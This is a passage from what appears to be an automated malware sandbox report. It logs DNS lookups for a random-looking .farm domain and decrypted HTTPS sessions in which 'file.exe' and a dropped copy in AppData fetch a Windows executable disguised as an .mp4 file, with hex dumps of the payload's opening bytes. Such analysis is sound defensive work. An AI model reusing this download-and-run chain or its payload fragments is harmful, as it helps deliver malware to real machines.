Jun 17, 2024 16:18:58.263545990 CEST	53	53773	1.1.1.1	192.168.2.4
Jun 17, 2024 16:19:02.075139046 CEST	53	61178	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 17, 2024 16:18:40.972147942 CEST	192.168.2.4	1.1.1.1	0xbfb9	Standard query (0)	f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	A (IP address)	IN (0x0001)	false
Jun 17, 2024 16:18:58.221488953 CEST	192.168.2.4	1.1.1.1	0xf997	Standard query (0)	1.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jun 17, 2024 16:18:40.995023966 CEST	1.1.1.1	192.168.2.4	0xbfb9	No error (0)	f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	188.114.96.3	A (IP address)	IN (0x0001)	false
Jun 17, 2024 16:18:40.995023966 CEST	1.1.1.1	192.168.2.4	0xbfb9	No error (0)	f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	188.114.97.3	A (IP address)	IN (0x0001)	false
Jun 17, 2024 16:18:58.263545990 CEST	1.1.1.1	192.168.2.4	0xf997	No error (0)	1.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm	77.221.140.76	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	188.114.96.3	443	7600	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-17 14:18:41 UTC	124	OUT	GET /don2/Qlxywcbxa.mp4 HTTP/1.1 Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm Connection: Keep-Alive
2024-06-17 14:18:41 UTC	756	IN	HTTP/1.1 200 OK Date: Mon, 17 Jun 2024 14:18:41 GMT Content-Type: video/mp4 Content-Length: 5778432 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 17 Jun 2024 13:16:44 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1095 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ADLL4Y8Rc67FM%2B0vVOnmOR%2F7TWakXpKb%2BTg6S%2FnqW1fyl%2FAFlO8gWNXzcDtjanPrQMfoar0kDoH059V6YjtMemk4k%2Fek98FUBTgmhIyFnPYD5YjGgitn1ylhARJPdncu%2B%2BzQ69L1%2BbBQa1fqcta9URFRvkpkStySLKlHhOzBTkJIB41mKt3nI%2FQMBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8953ab9b69674782-DFW alt-svc: h3=":443"; ma=86400
2024-06-17 14:18:41 UTC	613	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-06-17 14:18:41 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 32 30 30 30 30 30 34 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 45 37 34 36 35 37 38 37 34 30 30 30 30 30 30 30 34 30 44 32 43 30 30 30 30 32 30 30 30 30 30 30 30 30 45 32 43 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 36 30 32 45 37 32 37 33 37 32 36 33 30 30 30 30 30 30 33 34 30 33 30 30 30 30 30 30 34 30 32 43 30 30 30 30 30 34 Data Ascii: 00000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000040D2C0000200000000E2C0000020000000000000000000000000000200000602E727372630000003403000000402C000004
2024-06-17 14:18:41 UTC	1369	IN	Data Raw: 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 34 33 30 30 30 30 30 30 39 32 30 33 30 30 30 30 44 35 30 33 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 34 42 30 30 30 30 30 30 36 43 30 31 30 30 30 30 42 37 30 31 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 0004000000000000000000172A411C0000000000004300000092030000D5030000390000001A0000010330080004000000000000000000172A411C0000000000004B0000006C010000B7010000390000001A0000011330030004000000000000000000172A1330030004000000000000000000002A133003000400000000000
2024-06-17 14:18:41 UTC	1369	IN	Data Raw: 30 32 42 38 30 33 43 30 30 30 30 30 34 32 30 31 35 30 30 30 30 30 30 37 45 34 32 30 42 30 30 30 34 37 42 32 30 30 42 30 30 30 34 33 39 39 35 46 45 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 38 41 46 45 46 46 46 46 32 41 32 30 33 42 32 33 30 30 31 33 32 30 31 38 35 30 36 30 34 41 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 34 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 38 42 31 41 32 33 44 35 32 30 46 45 31 36 30 30 45 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 37 42 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 30 34 30 30 30 30 32 42 38 30 33 46 30 30 30 30 30 34 32 30 31 31 30 30 30 30 30 30 33 38 33 35 46 45 46 46 46 46 32 30 39 35 31 33 43 38 45 31 Data Ascii: 02B803C00000420150000007E420B00047B200B00043995FEFFFF262000000000388AFEFFFF2A203B230013201850604A617E420B00047B540B0004617EC70B0004289B1E0006208B1A23D520FE1600E7617E420B00047B7B0B0004617EC70B0004289B1E0006280400002B803F00000420110000003835FEFFFF209513C8E1
2024-06-17 14:18:41 UTC	1369	IN	Data Raw: 37 45 34 32 30 42 30 30 30 34 37 42 35 32 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 30 35 36 36 43 35 43 35 32 30 43 31 41 33 41 34 41 33 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 30 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 30 42 30 30 30 30 32 42 38 30 34 30 30 30 30 30 30 34 32 30 30 45 30 30 30 30 30 30 33 38 42 41 46 42 46 46 46 46 32 30 34 45 46 46 45 44 34 41 32 30 31 38 43 39 46 31 34 34 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 30 36 37 35 31 33 33 32 32 30 33 43 42 33 33 37 32 46 36 31 37 45 34 32 30 42 30 30 30 34 37 42 38 34 30 42 30 30 30 34 36 31 37 Data Ascii: 7E420B00047B520B0004617EC70B0004289B1E0006200566C5C520C1A3A4A3617E420B00047B500B0004617EC70B0004289B1E0006280B00002B8040000004200E00000038BAFBFFFF204EFFED4A2018C9F144617E420B00047B4F0B0004617EC70B0004289B1E00062006751332203CB3372F617E420B00047B840B0004617
2024-06-17 14:18:41 UTC	1369	IN	Data Raw: 38 37 45 35 32 44 31 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 32 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 35 43 31 32 37 34 34 38 32 30 39 41 35 33 41 32 46 35 36 31 32 30 31 37 45 36 32 42 46 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 31 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 31 32 30 30 30 30 32 42 38 30 33 45 30 30 30 30 30 34 32 30 32 30 30 30 30 30 30 30 37 45 34 32 30 42 30 30 30 34 37 42 39 37 30 42 30 30 30 34 33 39 46 39 46 38 46 46 46 46 32 36 32 30 30 43 30 30 30 30 30 30 33 38 45 45 46 38 46 46 46 46 32 30 32 37 37 39 43 44 45 42 32 30 46 32 43 31 43 45 44 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 39 42 30 42 30 30 30 34 36 31 37 45 Data Ascii: 87E52D1617E420B00047B520B0004617EC70B0004289B1E0006205C127448209A53A2F5612017E62BF7617E420B00047B1F0B0004617EC70B0004289B1E0006281200002B803E00000420200000007E420B00047B970B000439F9F8FFFF26200C00000038EEF8FFFF202779CDEB20F2C1CED7617E420B00047B9B0B0004617E
2024-06-17 14:18:41 UTC	1369	IN	Data Raw: 30 30 30 34 32 38 38 46 31 45 30 30 30 36 32 30 31 33 30 30 30 30 30 30 33 38 39 39 46 36 46 46 46 46 32 30 41 41 35 30 42 44 38 30 32 30 41 33 37 31 35 46 31 45 35 38 32 30 45 35 43 32 36 36 46 32 36 31 37 45 34 32 30 42 30 30 30 34 37 42 32 42 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 45 39 30 42 36 31 34 46 32 30 33 46 33 43 33 38 30 36 35 38 32 30 36 43 33 46 30 32 33 32 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 36 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 31 39 30 30 30 30 32 42 38 30 32 44 30 30 30 30 30 34 32 30 32 31 30 30 30 30 30 30 33 38 33 39 46 36 46 46 46 46 32 30 38 39 37 37 42 34 33 36 32 30 43 36 33 45 30 45 32 44 36 31 37 45 34 32 30 42 30 Data Ascii: 0004288F1E000620130000003899F6FFFF20AA50BD8020A3715F1E5820E5C266F2617E420B00047B2B0B0004617EC70B0004289B1E000620E90B614F203F3C380658206C3F0232617E420B00047B460B0004617EC70B0004289B1E0006281900002B802D00000420210000003839F6FFFF208977B43620C63E0E2D617E420B0
2024-06-17 14:18:41 UTC	1369	IN	Data Raw: 31 37 45 34 32 30 42 30 30 30 34 37 42 39 31 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 45 33 37 46 34 41 36 37 32 30 37 42 34 39 35 36 36 39 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 32 30 30 30 30 30 32 42 38 30 32 37 30 30 30 30 30 34 32 30 31 38 30 30 30 30 30 30 33 38 42 34 46 33 46 46 46 46 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 Data Ascii: 17E420B00047B910B0004617EC70B0004289B1E000620E37F4A67207B495669617E420B00047B4F0B0004617EC70B0004289B1E0006282000002B8027000004201800000038B4F3FFFF00120000172A000000120000142A00000042280F1900067EBB0B0004286B1E00062A00000042280F1900067EBB0B0004286B1E00062A
2024-06-17 14:18:42 UTC	1369	IN	Data Raw: 30 30 30 36 32 41 30 30 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 34 31 37 43 30 30 30 30 30 30 30 30 30 30 30 30 33 46 30 32 30 30 30 30 38 45 30 30 30 30 30 30 43 44 30 32 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 30 32 30 30 30 30 30 30 33 33 30 31 30 30 30 30 34 46 30 30 30 30 30 30 38 32 30 31 30 30 30 30 38 43 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 36 35 30 38 30 30 30 30 37 39 30 32 30 30 30 30 44 45 30 41 30 30 30 30 37 37 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 41 38 30 35 30 30 30 30 31 43 30 Data Ascii: 00062A00000042280F1900067EBB0B0004286B1E00062A0000000330080004000000000000000000002A417C0000000000003F0200008E000000CD020000390000001A00000102000000330100004F000000820100008C00000000000000020000006508000079020000DE0A0000770000000000000002000000A80500001C0
2024-06-17 14:18:42 UTC	1369	IN	Data Raw: 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 Data Ascii: 02A120000142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A1330030004000000000000000000002A42280F1900067EBB0B0004286B1E00062A000000120000172A000000120000142A000000120000172A0000001330030004000000000000000000002A1200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	188.114.96.3	443	7764	C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-17 14:18:47 UTC	124	OUT	GET /don2/Qlxywcbxa.mp4 HTTP/1.1 Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm Connection: Keep-Alive
2024-06-17 14:18:47 UTC	758	IN	HTTP/1.1 200 OK Date: Mon, 17 Jun 2024 14:18:47 GMT Content-Type: video/mp4 Content-Length: 5778432 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 17 Jun 2024 13:16:44 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1101 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vr%2FdifbNbbA9VALlLG8rPMOuMfKo%2BpjH6Jvj%2B%2BzdzFwlb3%2BsBxpAqs3kbtm9mM3c9yw5MpAyAomuA3dsY%2Bjb4J85gwr8cvSt7q67NHqLhDY7R%2BkvtsA7OAMSRFeY7MY1IGQGfGD8VVqO%2BZ4YJ31c4Iopis0Ped%2Fc8EO4pM7UK%2FfjJHbs%2Bi63sm4Ogw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8953abbe8a2a3acf-DFW alt-svc: h3=":443"; ma=86400
2024-06-17 14:18:47 UTC	611	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 32 30 30 30 30 30 34 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 45 37 34 36 35 37 38 37 34 30 30 30 30 30 30 30 34 30 44 32 43 30 30 30 30 32 30 30 30 30 30 30 30 30 45 32 43 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 36 30 32 45 37 32 37 33 37 32 36 33 30 30 30 30 30 30 33 34 30 33 30 30 30 30 30 30 34 30 32 43 30 30 30 30 Data Ascii: 0000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000040D2C0000200000000E2C0000020000000000000000000000000000200000602E727372630000003403000000402C0000
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 34 33 30 30 30 30 30 30 39 32 30 33 30 30 30 30 44 35 30 33 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 34 42 30 30 30 30 30 30 36 43 30 31 30 30 30 30 42 37 30 31 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 Data Ascii: 080004000000000000000000172A411C0000000000004300000092030000D5030000390000001A0000010330080004000000000000000000172A411C0000000000004B0000006C010000B7010000390000001A0000011330030004000000000000000000172A1330030004000000000000000000002A1330030004000000000
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 30 30 30 32 42 38 30 33 43 30 30 30 30 30 34 32 30 31 35 30 30 30 30 30 30 37 45 34 32 30 42 30 30 30 34 37 42 32 30 30 42 30 30 30 34 33 39 39 35 46 45 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 38 41 46 45 46 46 46 46 32 41 32 30 33 42 32 33 30 30 31 33 32 30 31 38 35 30 36 30 34 41 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 34 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 38 42 31 41 32 33 44 35 32 30 46 45 31 36 30 30 45 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 37 42 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 30 34 30 30 30 30 32 42 38 30 33 46 30 30 30 30 30 34 32 30 31 31 30 30 30 30 30 30 33 38 33 35 46 45 46 46 46 46 32 30 39 35 31 33 43 38 Data Ascii: 0002B803C00000420150000007E420B00047B200B00043995FEFFFF262000000000388AFEFFFF2A203B230013201850604A617E420B00047B540B0004617EC70B0004289B1E0006208B1A23D520FE1600E7617E420B00047B7B0B0004617EC70B0004289B1E0006280400002B803F00000420110000003835FEFFFF209513C8
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 32 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 30 35 36 36 43 35 43 35 32 30 43 31 41 33 41 34 41 33 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 30 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 30 42 30 30 30 30 32 42 38 30 34 30 30 30 30 30 30 34 32 30 30 45 30 30 30 30 30 30 33 38 42 41 46 42 46 46 46 46 32 30 34 45 46 46 45 44 34 41 32 30 31 38 43 39 46 31 34 34 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 30 36 37 35 31 33 33 32 32 30 33 43 42 33 33 37 32 46 36 31 37 45 34 32 30 42 30 30 30 34 37 42 38 34 30 42 30 30 30 34 36 Data Ascii: 617E420B00047B520B0004617EC70B0004289B1E0006200566C5C520C1A3A4A3617E420B00047B500B0004617EC70B0004289B1E0006280B00002B8040000004200E00000038BAFBFFFF204EFFED4A2018C9F144617E420B00047B4F0B0004617EC70B0004289B1E00062006751332203CB3372F617E420B00047B840B00046
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 30 35 38 37 45 35 32 44 31 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 32 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 35 43 31 32 37 34 34 38 32 30 39 41 35 33 41 32 46 35 36 31 32 30 31 37 45 36 32 42 46 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 31 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 31 32 30 30 30 30 32 42 38 30 33 45 30 30 30 30 30 34 32 30 32 30 30 30 30 30 30 30 37 45 34 32 30 42 30 30 30 34 37 42 39 37 30 42 30 30 30 34 33 39 46 39 46 38 46 46 46 46 32 36 32 30 30 43 30 30 30 30 30 30 33 38 45 45 46 38 46 46 46 46 32 30 32 37 37 39 43 44 45 42 32 30 46 32 43 31 43 45 44 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 39 42 30 42 30 30 30 34 36 31 Data Ascii: 0587E52D1617E420B00047B520B0004617EC70B0004289B1E0006205C127448209A53A2F5612017E62BF7617E420B00047B1F0B0004617EC70B0004289B1E0006281200002B803E00000420200000007E420B00047B970B000439F9F8FFFF26200C00000038EEF8FFFF202779CDEB20F2C1CED7617E420B00047B9B0B000461
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 30 42 30 30 30 34 32 38 38 46 31 45 30 30 30 36 32 30 31 33 30 30 30 30 30 30 33 38 39 39 46 36 46 46 46 46 32 30 41 41 35 30 42 44 38 30 32 30 41 33 37 31 35 46 31 45 35 38 32 30 45 35 43 32 36 36 46 32 36 31 37 45 34 32 30 42 30 30 30 34 37 42 32 42 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 45 39 30 42 36 31 34 46 32 30 33 46 33 43 33 38 30 36 35 38 32 30 36 43 33 46 30 32 33 32 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 36 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 31 39 30 30 30 30 32 42 38 30 32 44 30 30 30 30 30 34 32 30 32 31 30 30 30 30 30 30 33 38 33 39 46 36 46 46 46 46 32 30 38 39 37 37 42 34 33 36 32 30 43 36 33 45 30 45 32 44 36 31 37 45 34 32 30 Data Ascii: 0B0004288F1E000620130000003899F6FFFF20AA50BD8020A3715F1E5820E5C266F2617E420B00047B2B0B0004617EC70B0004289B1E000620E90B614F203F3C380658206C3F0232617E420B00047B460B0004617EC70B0004289B1E0006281900002B802D00000420210000003839F6FFFF208977B43620C63E0E2D617E420
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 33 36 31 37 45 34 32 30 42 30 30 30 34 37 42 39 31 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 45 33 37 46 34 41 36 37 32 30 37 42 34 39 35 36 36 39 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 32 30 30 30 30 30 32 42 38 30 32 37 30 30 30 30 30 34 32 30 31 38 30 30 30 30 30 30 33 38 42 34 46 33 46 46 46 46 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 Data Ascii: 3617E420B00047B910B0004617EC70B0004289B1E000620E37F4A67207B495669617E420B00047B4F0B0004617EC70B0004289B1E0006282000002B8027000004201800000038B4F3FFFF00120000172A000000120000142A00000042280F1900067EBB0B0004286B1E00062A00000042280F1900067EBB0B0004286B1E0006
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 31 45 30 30 30 36 32 41 30 30 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 34 31 37 43 30 30 30 30 30 30 30 30 30 30 30 30 33 46 30 32 30 30 30 30 38 45 30 30 30 30 30 30 43 44 30 32 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 30 32 30 30 30 30 30 30 33 33 30 31 30 30 30 30 34 46 30 30 30 30 30 30 38 32 30 31 30 30 30 30 38 43 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 36 35 30 38 30 30 30 30 37 39 30 32 30 30 30 30 44 45 30 41 30 30 30 30 37 37 30 30 30 30 30 30 30 30 30 30 30 30 